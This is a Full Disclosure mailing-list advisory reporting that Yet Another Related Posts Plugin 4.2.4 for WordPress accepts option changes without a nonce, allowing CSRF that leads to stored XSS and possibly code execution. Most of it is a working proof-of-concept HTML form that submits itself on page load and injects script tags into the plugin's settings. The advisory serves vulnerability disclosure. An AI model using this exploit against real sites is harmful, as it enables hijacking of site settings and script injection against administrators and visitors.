full-disclosure - [FD] Yet Another Related Posts Plugin (YARPP) 4.2.4 CSRF -> XSS -> RCE

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Date: Fri, 8 May 2015 16:27:59 +0300
From: Evex ola <evexola@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Yet Another Related Posts Plugin (YARPP) 4.2.4 CSRF -> XSS ->
	RCE

'Yet Another Related Posts Plugin' options can be updated with no
token/nonce protection which an attacker may exploit via tricking website's
administrator to enter a malformed page which will change YARPP options,
and since some options allow html the attacker is able to inject malformed
javascript code which can lead to code execution/administrator actions when
the injected code is triggered by an admin user.
injected javascript code is triggered on any post page.

Affected Versions
<= 4.2.4

Vulnerability Scope
XSS
RCE (http://research.evex.pw/?vuln=14)

Authorization Required:
None

Proof of Concept:
<body onload="document.getElementById('payload_form').submit()" >
    <form id="payload_form" action="
http://wpsite.com/wp-admin/options-general.php?page=yarpp" method="POST" >
        <input type='hidden' name='recent_number' value='12' >
        <input type='hidden' name='recent_units' value='month' >
        <input type='hidden' name='threshold' value='5' >
        <input type='hidden' name='weight[title]' value='no' >
        <input type='hidden' name='weight[body]' value='no' >
        <input type='hidden' name='tax[category]' value='no' >
        <input type='hidden' name='tax[post_tag]' value='consider' >
        <input type='hidden' name='auto_display_post_types[post]'
value='on' >
        <input type='hidden' name='auto_display_post_types[page]'
value='on' >
        <input type='hidden' name='auto_display_post_types[attachment]'
value='on' >
        <input type='hidden' name='auto_display_archive' value='true' >
        <input type='hidden' name='limit' value='1' >
        <input type='hidden' name='use_template' value='builtin' >
        <input type='hidden' name='thumbnails_heading' value='Related
posts:' >
        <input type='hidden' name='no_results'
value='<script>alert(1);</script>' >
        <input type='hidden' name='before_related'
value='<script>alert(1);</script><li>' >
        <input type='hidden' name='after_related' value='</li>' >
        <input type='hidden' name='before_title'
value='<script>alert(1);</script><li>' >
        <input type='hidden' name='after_title' value='</li>' >
        <input type='hidden' name='show_excerpt' value='true' >
        <input type='hidden' name='excerpt_length' value='10' >
        <input type='hidden' name='before_post' value='+<small>' >
        <input type='hidden' name='after_post' value='</small>' >
        <input type='hidden' name='order' value='post_date ASC' >
        <input type='hidden' name='promote_yarpp' value='true' >
        <input type='hidden' name='rss_display' value='true' >
        <input type='hidden' name='rss_limit' value='1' >
        <input type='hidden' name='rss_use_template' value='builtin' >
        <input type='hidden' name='rss_thumbnails_heading' value='Related
posts:' >
        <input type='hidden' name='rss_no_results' value='No Results' >
        <input type='hidden' name='rss_before_related' value='<li>' >
        <input type='hidden' name='rss_after_related' value='</li>' >
        <input type='hidden' name='rss_before_title' value='<li>' >
        <input type='hidden' name='rss_after_title' value='</li>' >
        <input type='hidden' name='rss_show_excerpt' value='true' >
        <input type='hidden' name='rss_excerpt_length' value='10' >
        <input type='hidden' name='rss_before_post' value='+<small>' >
        <input type='hidden' name='rss_after_post' value='</small>' >
        <input type='hidden' name='rss_order' value='score DESC' >
        <input type='hidden' name='rss_promote_yarpp' value='true' >
        <input type='hidden' name='update_yarpp' value='Save Changes' >
    </form>
</body>

Fix:
No Fix Available at The Moment.

Timeline:
Notified Vendor - No Reply
Notified Vendor Again- No Reply
Publish Disclosure

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